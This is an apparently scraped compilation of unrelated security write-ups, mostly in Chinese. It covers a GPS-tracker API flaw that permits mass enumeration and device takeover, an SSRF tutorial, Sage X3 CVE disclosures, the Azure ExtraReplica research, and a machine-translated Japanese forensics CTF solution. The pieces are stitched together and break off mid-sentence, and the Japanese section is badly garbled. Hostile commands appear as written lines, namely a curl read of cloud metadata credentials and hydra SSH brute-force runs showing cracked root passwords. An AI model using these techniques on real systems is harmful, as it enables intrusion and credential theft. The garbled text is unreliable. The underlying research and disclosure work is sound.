image-20220323111709616.png

很快,事實證明這是可以與GPS追踪器的所有不同製造商的所有不同型號進行通訊的通用API,整個事情就講得通了。如果你是硬件設備的製造商或供應商,則可能需要一個易於使用且兼容的雲解決方案。為了安全起見,我們不公開解決方案供應商的名稱,儘管並不難找到。

img

3.把所有東西都給我使用Web門戶登錄時,會將這些請求發送到包含以下內容DeviceID的API :

image-20220323111901980.png

一個奇怪的信息:

img

我們實際上沒有這些跟踪器的用戶帳戶。還記得唯一的用戶標識是IMEI或跟踪器的ID嗎?更令人擔憂的是,我有同一家公司的更多跟踪器,並且它們在響應中都具有完全相同的UserID。

進入API並深入了解它提供的OpenAPIV3.asmx功能:

img

試一下用戶名。所以我們只需輸入我們已經使用過多次的用戶ID和強制密鑰,就得到如下響應:

img

考慮到整個系統的安全性,我只是嘗試使用已經使用過很多次的密碼,這次我選擇通過“帳戶”登錄:

img

進入了供應商的控制面板,其中有所有已售出的跟踪器供我們使用。因此,用戶ID實際上是銷售商的用戶ID,他們向你出售了特定的跟踪器。

img

從這裡你可以完全控制追踪器。是的,你看對了,每頁有1026頁,10個跟踪器,讓你可以輕鬆控制10260台設備。例如,有一個重置密碼選項,你猜怎麼著,它不會要求你輸入新密碼;按下時,會將其設置為123456。

4.漏洞修復我們看到這些供應商沒有關心設備安全性。在撰寫本文時,供應商已發布了針對此bug的修復程序,但它更像是一個補丁程序。從現在開始,你將無法選擇123456密碼,並且如果已經擁有新的登錄名,則必須更改密碼123456。

img

好吧,事實證明這根本不是一個解決辦法,因為這些API端點未正確進行身份驗證。我們再看看OpenAPIv3.asmx API :

image-20220323111922827.png

它可能看起來很複雜,但實際上並不復雜。這裡更重要的是,在本例中,ID是用戶的ID,並且它也只是0-999999,這很容易枚舉。其餘的必填字段是已知的。因此,通過運行一個簡單的查詢,我們可以很容易地得到以下響應:

image-20220323111934743.png

注意結果集的大小。通過一次查詢,您將獲得分配給特定帳戶的所有設備。當你遍歷所有可能的用戶ID時,你會得到所有的用戶和設備。從那裡你可以得到你想要的任何信息,電話號碼,位置,用戶名,在這個端點下,還有來自你汽車OBD接口的數據,以及我在上一篇文章中向你展示的所有東西。最後但並非最不重要的一點是,你可以完全控制遠程設備,打電話或從追踪器發送短信。想像一下攻擊者能做什麼。例如,招募一大群移動設備向特定號碼發送短信,或在短信投票中操縱投票。

我已經研究這些不安全的GPS設備很長時間了,努力了解問題的嚴重性。到目前為止,我已經確定了30多個在互聯網

微信截图_20220507194114.png

服務器端請求偽造(SSRF)是一種可以用來使應用程序發出任意HTTP請求的攻擊。攻擊者使用SSRF 將來自互聯網上暴露的服務和Web 應用程序的請求代理到未暴露的內部終端。 SSRF是一個黑客反向代理,這些任意請求通常以內部網絡終端為目標,以執行從偵察到完成帳戶接管的任何操作。 SSRF以及XSS和CSRF,由於其普遍性和影響,已成為了最嚴重的web安全漏洞,SSRF是owasp十大漏洞之一。

什麼是SSRF?乍一看,添加從應用程序發出HTTP請求的功能似乎不需要進行安全審查。但是,只要你允許用戶控制HTTP請求的目標並提供用戶輸入,攻擊者就可以利用你的應用程序在內部網絡中的特權位置來實施攻擊。

SSRF漏洞Webhook就是一個很好的例子。通過設計,開發者希望用戶能夠控制webhook的目標地址。然而,這意味著攻擊者也可以控制目標地址。這允許攻擊者通過攻擊者控制的DNS 直接針對內部IP 地址或內部地址。

這意味著,無論你對敏感的內部服務或應用程序進行多麼嚴格的防火牆防護,如果你允許公開暴露的應用程序訪問這些內部應用程序並讓攻擊者控制HTTP 請求目標,攻擊就有可能找到通往這些敏感應用程序的路徑。

利用SSRFSSRF讓我們從一個充當在線hexdump 的簡單示例應用程序開始。應用程序接受URL,向API 發出請求,並輸出響應正文的十六進制轉儲。你可以在下圖中看到示例輸出以及此應用程序的源代碼。

1.png

HTTP hexdump 應用程序的示例輸出

但是,如果這個hexdump 應用程序可以通過網絡訪問敏感的內部應用程序,會發生什麼情況?例如,你可能正在遵循最佳實踐並使用內部秘密服務來安全地存儲應用程序所需的憑證,而不是將它們檢入源代碼中。

這正是上圖中的程序所模擬的。要運行此應用程序,請將上圖中的代碼保存在一個名為ssrf1.go 的文件中,然後輸入go run ssrf1.go 以運行該應用程序。

首先導航到http://localhost:8080?url=http://www.google.com 的應用程序以查看www.google.com 的hexdump。要觸發SSRF,請導航到http://localhost:8080?url=http://localhost:8081 以獲取內部秘密。

2.1.png

2.2.png

2.3.png

一個典型的SSRF漏洞示例

上圖中的程序運行hexdump 應用程序並模擬秘密服務的運行。雖然hexdump 應用程序綁定到所有接口,但秘密服務只綁定到loopback,這是一個不應該暴露在互聯網上的合理決定。

問題是hexdump 在本地運行並且可以向loopback(或任何其他內部終端)發出請求。只需將hexdump 指向http://localhost:8081 即可公開內部憑證,無論它是否偵聽任何公開公開的接口。

AWS上的SSRFAWS示例元數據服務(IMDSv1) 很好地說明了SSRF 的強大功能。事實上,研究人員Colin Percival稱其為EC2最危險的功能。

示例元數據服務非常有趣,因為它可以同時用於增提高和降低應用程序的安全性。

它可用於通過幫助你安全地管理秘密憑證生命週期來提高應用程序的安全性。你可以將IAM 角色附加到運行你的應用程序的示例,然後從示例元數據終端獲取你的憑證。示例終止後,這些憑證將被銷毀並頒發一組新憑證。從理論上講,這有助於秘密憑證的生命週期;它減少了可能在違規中暴露的憑證數量,並將憑證的生命週期縮短為示例的生命週期。

但是,如果你的應用程序容易受到SSRF的攻擊,那麼通過允許攻擊者也檢索你的示例的憑證,同樣的優勢也可以反過來對你不利。現在你可能會說,這對IMDSv1是正確的,但對IMDSv2不再是正確的。雖然這是真的,但默認情況下IMDSv1總是啟用的,因此它仍然是一個常見的普遍問題。

如果你熟悉AWS並且已經在使用IAM角色,你可以使用curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$roleName來了解SSRF在你的應用程序中的致命程度。

如果你對AWS 不熟悉,可以使用下圖中的示例腳本來創建可用於查詢元數據終端的IAM 角色、VPC 和EC2 示例。不過你得付費,因此請確保在完成後關閉此示例。

3.1.png

3.2.png

3.3.png

3.4.png

3.5.png

3.6.png

創建顯示如何利用SSRF 和元數據終端所需的基礎設施(VPC、安全組和EC2 示例)的腳本

4.png

查詢元數據終端的截斷輸出SSRF允許攻擊者從你的基礎設施外部完全訪問這些數據

盲SSRF(Blind SSRF)盲SSRF 是SSRF 攻擊的一個子集。在前面的示例中,客戶端已經能夠看到對請求的響應。 Blind SSRF 是指你可以執行請求,但看不到響應。乍一看,它似乎是一個相當沒有危險的漏洞。但是,仍然可以執行一些有趣的攻擊。

一個例子是利用盲SSRF 來改變內部服務的狀態。這方面的一個例子是Jira 中的一個盲SSRF 漏洞,它可以被用於在GitLab基礎設施中任意發出HTTP POST請求。另一個例子是使用盲SSRF 從目標網絡內部執行端口掃描。這方面的一個例子是Jira 中的一個盲SSRF 漏洞,可用於繪製New Relic 基礎設施。

在下圖中,你將看到一個應用程序的源代碼,其行為類似於webhook 服務的行為。用戶提交一個URL,服務嘗試獲取該URL,並將狀態代碼和漏洞消息返回給用戶。

要運行此應用程序,請將下圖中的代碼保存在名為ssrf2.go 的文件中,然後輸入go run ssrf3.go 以運行應用程序並導航到位於http://localhost:8080 的應用程序。

5.1.png

5.2.png

5.3.png

5.4.png

5.5.png

可用於映射內部網絡的應用程序

要了解如何利用盲SSRF,請在你的主機上嘗試一些終端,看看它們是如何響應的。以下是一些探索步驟:

1、嘗試一個沒有服務監聽的端口。

2、試試端口22 看看SSH 是如何響應的。

3、嘗試使用Web 服務器偵聽的端口。

4、響應的時機是否提供了任何有用的信息。

SSRF緩解技術在理想情況下,你的應用程序不需要發出任意請求,或者只需要向一組白名單終端發出請求。在這種情況下,你基本上不必擔心SSRF,因為攻擊者無法控制目標終端。

不幸的是,正如我們在前面的例子中看到的,這通常是不可能的。事實上,你可能正在編寫一個應用程序,你希望在其中授予用戶對終端的控制權,例如webhook。

SSRF 的緩解措施通常可以分為兩大類:你可以在網絡層或應用程序層應用控制。

使用防火牆緩解SSRF對於SSRF,一種常見的緩解措施是實現關於運行應用程序的主機能夠連接到哪些主機的防火牆策略。這通常應用於現有的網絡基礎設施,其中防火牆位於網絡體系結構中的關鍵位置,或者使用網絡設備上的接口ACL 放置在更靠近主機的位置,或者甚至基於主機的防火牆來限制出站連接。

防火牆可能很脆弱,因為任何應用於主機的防火牆都無法區分應用程序建立的連接與節點或同一節點上其他軟件的正常操作規則。防火牆也只能將策略應用於他們看到的流量,因此應用程序可以訪問綁定到本地主機或同一網絡內其他節點的診斷終端。

基於客戶端請求創建出站連接的應用程序也很少見,將來對防火牆策略的更新可能不會考慮到可以創建任意請求的應用程序。

另一個很好的網絡層防禦是使用類似Stripe 開發的Smokescreen 之類的東西。 Smokescreen 是一個HTTP CONNECT 代理,你可以通過它匯集所有流量,並使用它將ACL 放置在允許流量的位置。

“Smokescreen 限制它連接到的URL:它解析請求的每個域名,並確保它是可公開路由的IP,而不是Stripe 內部IP。這可以防止諸如我們自己的webhooks基礎設施被用來掃描Stripe內部網絡之類的攻擊。”

唯一的問題是你的應用程序需要實際支持HTTP CONNECT 代理並願意通過它路由你的流量。好消息是,這通常是默認支持的。例如,Go 中的DefaultTransport 已經做到了這一點,甚至為其他協議添加HTTP CONNECT 代理支持,就像我們對SSH 所做的那樣。

相互認證另一種值得討論的方法是在所有內部服務上使用相互身份驗證。回到webhook 示例,即使攻擊者能夠控制目標,連接也可能無法通過身份驗證與內部資源通信。但是,這種方法不是通用的。如果攻擊者可以控制經過身份驗證的連接,SSRF 就會重新出現。

使用應用程序控制緩解SSRF

如果你無法控製網絡配置或無法運行HTTP CONNECT 代理等其他軟件,則可以通過檢查目標地址是否在阻止範圍內來使用應用層控制來緩解SSRF。

僅僅嘗試解析地址、驗證地址、然後建立連接是不夠的。這很容易受到檢查時間和使用時間漏洞的影響,攻擊者控制DNS 服務器並使用短TTL 在下一次查詢時更改目標地址。如果你正在使用應用層控件,請確保使用較低層的掛鉤。例如,Andrew Ayer 建議使用帶有Go 撥號器的Control 回調來執行此操作。

這樣你就可以創建安全的撥號程序,可以直接替代也可以應用訪問控制的常規撥號程序。看一下下圖中的示例,插入式SafeClient 不僅應用CIDR 檢查,還可以限制HTTP 重定向等內容。

嘗試使用SafeClient ,並再次嘗試利用漏洞。結果還是失敗的。

你也可以從命令行嘗試此程序。以下是一些可以嘗試的示例命令。

7.1.png

7.2.png

7.3.png

7.4.png

7.5.png

使用Andrew Ayer 技術的更安全的HTTP 客戶端

總結SSRF 可能是一個難以緩解的漏洞,主要是因為它可能是情境性的。 在某些情況下,你可能希望允許你的客戶端連接到內部IP 地址而不是其他地址。 但是,仔細選擇基於網絡或基於應用程序的控制可用於有效緩解SSRF。

如果執行網絡安全審計,在審計Web 應用程序安全性時檢查SSRF 攻擊非常重要。

Sage的主要服務對像是大中型企業,在全球大概有600萬客戶。 Sage在英文中是英明睿智的意思,致力於為企業提供全線管理軟件解決方案。 Sage ERP X3是一套完全集成的管理解決方案,在易用性方面做了很大的改進,幫助企業快速享受到IT帶來的諸多利益。

Rapid7 研究人員Jonathan Peterson、Cale Black、Aaron Herndon、Ryan Villarreal 和William Vu 發現了四個涉及Sage X3 的漏洞。這些漏洞根據Rapid7 的常規漏洞披露流程報告給Sage,並在Sage X3 第9 版(Syracuse 9.22.7.2 隨附的那些組件)、Sage X3 HR 和Payroll 版本9(Syracuse 隨附的那些組件)的最新版本中修復9.24.1.3、Sage X3 版本11 (Syracuse v11.25.2.6) 和Sage X3 版本12 (Syracuse v12.10.2.8)。請注意,Sage X3 沒有商業可用的第10 版。

這些漏洞如下表所示:前兩個是涉及Sage X3遠程管理的協議相關漏洞,後兩個是Web應用程序漏洞。一般來說,Sage X3 安裝不應直接暴露在互聯網上,而應在需要時通過安全的VPN 連接提供。遵循此操作建議可有效緩解所有四個漏洞,但仍敦促客戶根據其通常的補丁週期時間表進行更新。

1.png

產品描述Sage X3 是一個企業資源計劃(ERP) 應用程序,主要用於大中型企業的供應鏈管理。該產品在英國和其他歐洲市場特別受歡迎。有關Sage X3 的更多信息,請訪問其官網。

這些漏洞是由Rapid7 研究人員Jonathan Peterson (@deadjakk)、Aaron Herndon (@ac3lives )、Cale Black、Ryan Villarreal (@XjCrazy09) 和William Vu 發現的。它們是根據Rapid7 的漏洞披露政策披露的。

CVE-2020-7390 之前由Cobalt Labs 的 Vivek Srivastav 於2021 年1 月向供應商報告。

漏洞利用對於每一個確定的漏洞,下面是對漏洞和利用它的技術的簡要描述。

CVE-2020-7388:Sage X3 未經身份驗證的遠程命令執行(RCE) 作為AdxDSrv.exe 組件中的SYSTEM

Sage X3 在AdxAdmin 組件的進程“AdxDSrv.exe”下的端口TCP/1818(默認值,但可更改)上公開管理服務。該服務用於通過Sage X3 控制台遠程管理Sage ERP 解決方案。服務中的漏洞允許惡意攻擊者向暴露的服務發出請求,以“NT AUTHORITY/SYSTEM”用戶身份在服務器上執行命令。

AdxDSrv.exe認證和執行過程Sage X3 使用自定義協議在Sage X3 控制台客戶端和AdxDSrv.exe 之間進行交互。查看協議,Sage X3 控制台使用字節序列製作一個請求以進行身份驗證,如下所示:

2.png

Sage X3 使用自定義的加密機制對密碼進行加密,但為簡潔起見,這裡不再贅述加密方式。示例消息如下所示,向用戶“admin”發送密碼“password”:

3.png

AdxDSrv.exe發送4個字節表示驗證成功,這些字節總是以\x00\x00 為前綴,然後是兩個明顯隨機的字節,如下所示:

4.png

收到這個成功的認證響應後,可以發送消息執行遠程命令。首先,臨時目錄由客戶端以要寫入服務器的“cmd”文件的名稱指定。

具有提供的“cmd”文件名的批處理文件被寫入磁盤,其中包含“whoami”命令。

在AdxDSrv.exe 服務將臨時批處理文件寫入指定文件夾後,它將通過Windows API調用CreateProcessAsUserAs,在提供的用戶憑證的安全上下文中執行該文件。這可以在Windows 事件日誌中作為使用“CreateProcess(AsUser)”的Windows 事件登錄被觀察到。最終導致將命令寫入文件、執行然後讀取輸出的消息序列。

在AdxSrv.exe中調用CreateProcessAsUserA的代碼片段,AdxSrv.exe是一個從AdxDSrv.exe產生的線程。

在沒有有效身份驗證的情況下執行,作為NT AUTHORITY\SYSTEM發送要執行的命令需要兩個組件。首先要知道AdxAdmin服務的安裝目錄,這樣我們就可以向服務提供要寫入的完整路徑位置,以便將要執行的“.cmd”文件寫入其中。第二個組件是“授權序列”,如上所示,它包括發送一個用戶名和密碼,該用戶名和密碼是用AdxDSrv.exe服務使用的加密協議加密的,以便通過Windows API調用CreateProcessAsUserA來執行.cmd文件。

獲取安裝目錄可以通過事先的知識、有根據的猜測,或者通過以下CVE-2020-7387所述的未經身份驗證的遠程信息洩露漏洞來完成。

第二步可以通過重新創建AdxDSrv.exe 身份驗證和命令協議的一系列數據包來迴避,但有一個關鍵修改:攻擊者可以簡單地交換一個字節並導致服務忽略提供的用戶憑據,而是在當前AdxDSrv.exe進程安全上下文下執行,該進程安全上下文作為NT AUTHORITY\SYSTEM運行。一些模糊測試表明,在授權序列開始期間使用“0x06”而不是“0x6a”允許序列繼續,並允許命令作為NT AUTHORITY\SYSTEM帳戶運行。

換句話說,客戶端似乎能夠完全退出身份驗證。在這種模式下,請求的命令以SYSTEM 身份執行,而不是模擬提供的用戶帳戶。

在一個實際的概念證明漏洞,它發送了整個序列來執行“whoami”,而沒有像之前要求的那樣提供加密的用戶憑證。

該漏洞在AdxAdmin 93.2.53版本中被修復,該版本在X3 V9、V11 和V12 中很常見,並分別隨Syracuse 9.22.7.2、11.25.2.6 和12.10.2.8 提供。

CVE-2020-7387:Sage X3 安裝路徑名洩露在對CVE-2020-7388 中描述的AdxAdmin.exe 使用的身份驗證和命令協議進行模糊測試時,發現發送第一個字節為“0x09”而不是“0x6a”,尾隨三個空字節,返回的安裝目錄時不需要任何身份驗證。

比如正在發送的消息示例,以及來自服務器的包含目錄路徑信息的響應。

當涉及到大多數企業軟件時,安裝路徑名稱往往是相當可預測的,幾乎所有用戶都安裝到少數幾個驅動器號中的一個默認目錄中,這個漏洞確實為攻擊者提供了利用上述CVE-2020-7388所需的信息。

CVE-2020-7389:系統鏈變量腳本命令注入一些允許使用'System' 函數的Web 應用程序腳本可以與“CHAINE”變量配對,以執行任意命令,包括來自遠程SMB 共享的命令。 該頁面可以通過菜單提示Development - Script dictionary - Scripts 到達。 根據供應商的說法,此功能應僅在開發環境中可用,而不是在生產環境中可用。

漏洞命令模式為:

21.png

演示過程如下所示:

22.png

下面的屏幕截圖演示了一個提供“a.bat”的Impacket SMB 服務器,該服務器又調用“b.exe”,並嘗試連接和評估在CHAINE 變量中指定的有效負載:

23.png

CVE-2020-7390:用戶配置文件的“編輯”頁面上存儲的XSS 漏洞“Edit User”頁面中的“First name”、“Last name”和“Email”字段容易受到存儲的XSS序列的影響。示例XSS 字符串如下圖所示:

5.png

XSS 字符串在`mouseOver` Javascript 上執行的事件如下圖所示:

6.png

威脅影響結合CVE-2020-7387和CVE-2020-7388,攻擊者可以首先了解受影響軟件的安裝路徑,然後利用該信息將命令傳遞給在system上下文中運行的主機系統。這可以讓攻擊者運行任意操作系統命令來創建管理員級別的用戶,安裝惡意軟件,或者出於任何目的完全控制系統。

CVE-2020-7389 描述了一種顛覆Sage X3 開發環境的機制,並最終以“x3run”用戶身份運行操作系統命令。但是,此功能a) 僅限於Sage X3 的經過身份驗證的用戶,並且b) 不應在運行環境中公開。

最後,CVE-2020-7390 描述了一個持久的跨站點腳本漏洞,該漏洞只能由經過身份驗證的用戶觸發,並且需要用戶交互才能完成攻擊。但是,如果成功,此漏洞可能允許Sage X3 的普通用戶以當前登錄的管理員身份執行特權功能,或捕獲管理員會話cookie 以供以後冒充為當前登錄的管理員。請注意,與其他漏洞不同,此漏洞僅存在於Sage X3 的未修補版本12 實例中(而不是版本9 或版本10)。

供應商聲明Sage 非常重視其客戶解決方案的安全性,並定期對其產品進行主動測試,以識別潛在漏洞並提供修復。供應商非常感謝Rapid7, Sage 及其合作夥伴已針對該漏洞發布了修復程序,聯繫了所有適用的客戶並就後續流程向他們提供了安全建議。

緩解方案Sage X3 第9 版、第11 版和第12 版的最新本地版本解決了這些漏洞,並敦促Sage X3 的用戶儘早更新其Sage 基礎架構。如果無法立即應用更新,客戶應考慮採取以下補救措施:

1.對於CVE-2020-7388 和CVE-2020-7387,不要將任何運行Sage X3 的主機上的AdxDSrv.exe TCP 端口暴露給網絡或其他不受信任的網絡。作為進一步的預防措施,應在運行過程中完全停止adxadmin 服務。

2.對於CVE-2020-7389,一般來說,用戶不應將此webapp 接口暴露給網絡或其他不受信任的網絡。此外,Sage X3 的用戶應確保開發功能在運行環境中不可用。

3.如果由於業務關鍵功能而導致網絡分段無法執行,則只有對主機Sage X3進行系統管理的受信任的用戶才應該被授予登錄訪問web應用程序的權限。

材料の検索

リンク:https://pan.baidu.com/s/1fwhb_5svmyk3gr4-qenc0q?pwd=43a3

パスワードの取り付け:2024fic@Hangzhou Powered〜by hl!

携帯電話部品

1。容疑者の携帯電話モデルは何ですか? A. Xiaomi Mi 2s

B. Xiaomi Mi 4c。 Xiaomi Mi 6

D. Xiaomi Mi 8

Fire EyeのBluetooth名の分析はXiaomi Mi3wです

ImageIMAGE-20240428163939574ただしオプションがないため、useragent.txtを介して電話モデルを確認できます。

ImageIMAGE-202404281650191512。容疑者は、彼がタブレットのコンピューターデバイスを持っている可能性はありますか?デバイスのモデルがある場合は? A. iPad Pro 11

B.生体内パッド2

C. MatePad Pro

D. Xiaomi Pad 6swifi接続レコード

ImageImage-202404281652122823。容疑者が電話のホットスポットをオンにするパスワードは何ですか?火の目は数秒です

ImageImage-202404281652461005AADA11BC1B5

4.容疑者の内部Wechat IDは何ですか?ImageIMAGE-20240428165304967WXID_WNIGMUD8AJ6J12

5.容疑者が技術者に送信したウェブサイトソースコードのダウンロードアドレスは何ですか?ImageIMAGE-20240428165400943 ImageIMAGE-2024040428165429531新しい仏は言った:僧ksのホールは僧monced、モンクスホール、モンクスホール、モンクスホール、モンクスホールホール、僧k'sホール、僧kのホール、僧kのホール、僧kのホール、僧kのホール、僧kのホール、僧kのホール、僧kのホール、僧ksホール、僧ksホール、僧khホール、モンクスホール、モンクスホール、僧kのホール、僧kのホール、僧kのホール、モンクホール、モンクスホール僧k'sホール、僧k'sホール、僧kのホール、僧kのホール、僧kのホール、僧kのホール、僧khのホール、僧khのホール、僧khのホール、僧khのホール、僧kのホール、僧kshallのホール、僧ksのホール、モンクスホール、モンクスホール、モンクスホール、モンクスホール、モンクスホールホール、僧k'sホール、僧kのホール、僧kのホール、僧kのホール、僧kのホール、僧kのホール、僧kのホール、僧kのホール、僧ksホール、僧ksホール、僧khホール、モンクスホール、モンクスホール、僧kのホール、僧kのホール、僧kのホール、モンクホール、モンクスホール修道士ホール、僧k

新しい仏は数秒です(http://hi.pcmoe.net/buddha.html)

ImageImage-20240428165507691333333333333333333333333333333http:///DOWN

6.被害者のWeChatユーザーIDは何ですか?ImageIMAGE-20240428165547833チャット履歴を見る

ImageIMAGE-20240428165610957WXID_U6UMC696CMS422

7.容疑者が初めてWiFiに接続したのはいつですか? A. 03-14 15:555:57

B. 03-14 16:55:57C。 03-14 17:55:57

D. 03-14 18:555:57

ImageIMAGE-20240428165810208 ImageIMAGE-202404281658487248。容疑者の社会習慣を分析します。 A. 12336000-14:00

B. 14336000-16:00

C. 16336000-18336000D。 18:00-20:00

多くは16336000-18:00です

Imageimage-20240428165929835 ImageImage-202404281659427399。容疑者の携帯電話を分析してください。事件のギャングには別の重要な参加者がいます。警察は彼を逮捕しなかった。容疑者が使用するWeChatアカウントIDは?ケース資料は、LiとZhaoがRose Goldブレスレットを持ってきたと書かれていますが、チャットの記録を通して、彼らは愚かなグラウンドホッグも参加したことを発見しました。

ImageIMAGE-20240428170234471WXID_06F01LNPAVN722

10。容疑者の携帯電話を分析してください。容疑者のボスは、ギャンブル活動に参加するために人員を組織します。使用される国内アクセスポータルアドレスは?ImageIMAGE-2024042817034299192.168.110.110:8000/ログイン

サーバークラスター質問

1。ESXiサーバーのESXiバージョンは何ですか?サンプル2を直接シミュレートすると、ファイヤーアイがESXI6.7.0を自動的に認識します

ImageImage-20240428171510091シミュレーション後に見ることができます

ImageIMAGE-202404281717240206.7.0

2。ESXiサーバーを分析してください。このシステムの設置日は次のとおりです。A。2024年3月12日火曜日02:04:15 UTCB。 2024年3月12日火曜日02:05336015 UTC

C. 2024年3月12日火曜日02:06336015 UTC

D. 2024年3月12日火曜日02:07336015 UTC

root +空のパスワードを使用して入力し、NATサブネットIPに一致することを忘れないでください

ImageIMAGE-202404281723022013。 ESXIサーバーデータストア「DataStore」のUUIDとは何ですか?ImageIMAGE-2024042817235764365EFB8A8-DD817F6-04FF-000C297BD0E6

4.ESXIサーバーの元のIPアドレス?ImageImage-20240428172443893192.168.8.112

5. EXSIサーバーでいくつの仮想マシンが作成されましたか?ImageIMAGE-202404281725259694

6.ウェブサイトサーバーに縛られたIPアドレスは何ですか?仮想マシンを起動した後、IPが表示されませんでした

したがって、直接スキャン192.168.8.1-192.168.8.8.255

Imageimage-20240428173828294 192.168.8.89のみが入ることができます。スキャンを終えたとき、彼は再びIPを持っていることがわかりました。

また、192.168.8.128がRocketchatであることがわかりました。私は検索し、そのポートが3000であることを発見し、Rocketchatの背景にも入りました。

192.168.8.89

7.ウェブサイトサーバーのログインパスワードは何ですか?チームメイトがWindowsを行っている場合、この辞書を使用して爆破するCommonPwd.txtを見つける可能性があります。

┌┌)-(root㉿kali) - [/home/kali/desktop]

└─#hydra-lroot-pcommonpwd.txtssh: //192.168.8.89

Hydrav9.5(c)2023Byvanhauser/thcdavid maciejak-greadedotuse inmilitaryorsecretsersivice組織、Orforillegalpurposes(Thisisnon binding、これらの*** IngoreLawsandethichicsAnyway)。

Hydra(https://github.com/vanhauser-thc/thc-hydra)stastat2024-04-2818:42:26

[警告] Manyssh configurationslimitthenumberparalleltasks、tisrecomedendedToreducethetasks:use-T4

[data] max16tasksper1server、総合16tasks、147logintrys(l:1/p:147)、〜10triespertask

[データ]攻撃sh: //192.168.8.89:22/

[22][ssh]host:192.168.8.89login:rootpassword:qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq

8.ウェブサイトサーバーが使用する管理パネルのログインポートアドレスの対応するポート番号は次のとおりです。

デフォルトの情報を表示するときは、タイムアウトできます。次の方法を使用して、待機または変更できます。

ImageIMAGE-20240428184856702彼のために名前サーバーを設定すると、彼はすぐにホストを解決できなかったので、それは大丈夫です

ImageIMAGE-2024042818532236614131

9.ウェブサイトサーバーのWebディレクトリは何ですか?パゴダのパスワードを変更します

ImageIMAGE-20240428185455840 ImageIMAGE-20240428185418000ただし、ウェブサイトファイルはこれには見つかりませんでした。ソースコードが見つかりました。

ImageImage-20240428185846395/webapp

10. Webサイト構成のRedisの接続タイムアウトは何秒ですか?ImageIMAGE-202404281855557320

11.ウェブサイトの通常のユーザーのパスワードで使用される塩値はImageIMAGE-20240428191125245!@#qaaxcfvghhjllj788+)_)_)((

12。ウェブマスターのユーザーパスワードの暗号化アルゴリズム名A. des

B. RSA

C. MD5

D. BCRYPT ImageIMAGE-2024042819132290613。ウェブサイトのスーパー管理者ユーザーアカウントはいつ作成されましたか? A. 2022-05-09 12:44:41

B. 2022-05-09 13:44:41

C. 2022-05-09 14:44:41D。 2022-05-09 15336044:41

JARパッケージのデータベース情報を参照してください

ImageIMAGE-20240428191702606接続が見つかった場合、接続できません

ImageIMAGE-20240428191756881データベースが開かれないと推測します

次に、パゴダに記載されているデータベースの場所は192.168.8.142です。 ESXiでは、データ仮想マシンがこのIPであることがわかりました

または以前のHydra爆発

┌┌)-(root㉿kali) - [/home/kali/desktop]

└─#Hydra-LROOT-PCOMMONPWD.TXTSSH: //192.168.8.142

Hydrav9.5(c)2023Byvanhauser/thcdavid maciejak-greadedotuse inmilitaryorsecretsersivice組織、Orforillegalpurposes(Thisisnon binding、これらの*** IngoreLawsandethichicsAnyway)。

Hydra(https://github.com/vanhauser-thc/thc-hydra)stastat2024-04-2819:22:57

[警告] Manyssh configurationslimitthenumberparalleltasks、tisrecomedendedToreducethetasks:use-T4

[data] max16tasksper1server、総合16tasks、147logintrys(l:1/p:147)、〜10triespertask

[データ]攻撃sh: //192.168.8.142:22/

[22] [SSH] HOST:192.168.8.142LOGIN:ROOTPASSWORD:HL@70011OF1TARGETSUCCCESSELYが完成し、1VALIDPASSWORDFOUND

[警告] WriteRestoreFilebecause2FinalWorkerThreadSDIdNotCompleteUntiLend。

[エラー] 2TargetSDIDNOTRESOLVEORを接続できませんでした

[エラー] 0TargetDidNotComplete

Hydra(HTT

各類組織使用雲服務的前提是各家的賬戶都是獨立的,特別是像數據庫這樣的高價值資產,是與其他客戶隔離的。

Wiz Research在目前已被廣泛使用的Azure數據庫PostgreSQL服務器中發現了一系列關鍵漏洞。這個被稱為ExtraReplica的漏洞允許對其他客戶的PostgreSQL數據庫進行未經授權的讀取訪問,繞過隔離保護。如果被利用,攻擊者可能已經復制並獲得對Azure PostgreSQL服務器客戶數據庫的讀取權限。

Wiz Research於2022年1月向微軟披露了ExtraReplica。目前,微軟確認該漏洞已完全緩解,Azure 客戶無需採取任何行動。微軟表示,他們不知道有任何利用此漏洞的企圖。

根據微軟的說法,該漏洞不會影響單服務器或具有顯式VNet網絡配置(私有訪問)的服務器。在這篇文章中,我們將介紹整個攻擊流程,從分析潛在的攻擊面到完整的攻擊,以及如何最終繞過雲隔離模型。看完本文你就會知道:

1.通過識別和利用Azure 的PostgreSQL 服務器服務中的漏洞,在我們自己的PostgreSQL 服務器上執行代碼。

2.在服務的內部網絡中執行偵察,發現我們可以訪問子網中的其他客戶。

3.在服務的身份驗證過程中發現了第二個漏洞:由於正則表達式末尾的通配符(.*) 導致的證書通用名(CN) 的正則表達式驗證過度允許我們登錄到目標PostgreSQL 示例使用頒發給任意域的證書。注意正則表達式末尾的錯誤,在此處標記:/^(.*?)\.eee03a2acfe6\.database\.azure\.com(.*)$/

通過為我們自己的域(wiz-research.com)replication.eee03a2acfe6.database.azure.com.wiz-research.com 頒發證書,我們成功訪問了我們在不同租戶上擁有的單獨帳戶的數據庫,證明了跨帳戶數據庫訪問。

4.利用Certificate Transparency(簡稱CT)提要來識別客戶目標,最終允許我們使用前面提到的漏洞複製任何PostgreSQL Flexible Server示例(除了配置了Private access - VNet的示例)。

output_replica--1-.gif

ExtraReplica攻擊流程

我們之前在Azure Cosmos DB中發現了漏洞。我們能否在其他Azure 服務中重現類似漏洞?

在2021年的Black Hat Europe大會上,我們展示了“ChaosDB:我們如何入侵了成千上萬的Azure 客戶的數據庫”,該文說明瞭如何通過Azure Cosmos DB 中的一系列錯誤配置來不受限制地訪問Microsoft Azure 客戶的數據庫。在之前的研究中,我們的出發點是在內部Azure 環境中的Jupyter Notebook 示例上運行任意代碼。我們發現Jupyter Notebook 示例可以通過網絡訪問內部管理API,從而向內部Azure 組件打開攻擊向量。

在Black Hat之後,我們想知道它是否可能成為一種模式,以及其他為客戶提供專用的虛擬機(作為內部Azure環境的一部分)的託管服務是否也可以被敏感的網絡組件訪問。

這個方向引導我們採取以下策略來尋找我們的下一個研究目標。

我們尋找具有以下功能的新目標:

1.在內部雲環境中為客戶提供專用虛擬機示例的託管雲服務。

2.一種允許我們執行代碼的服務,可以作為服務標準功能的一部分,也可以通過新發現的漏洞執行。如果我們可以使用漏洞執行代碼,我們將更有可能找到一個不那麼嚴格的環境,因為服務開發人員可能不希望用戶在那裡運行他們的代碼。

3.服務性質應具有很高的價值,被許多人使用,並包含敏感信息。

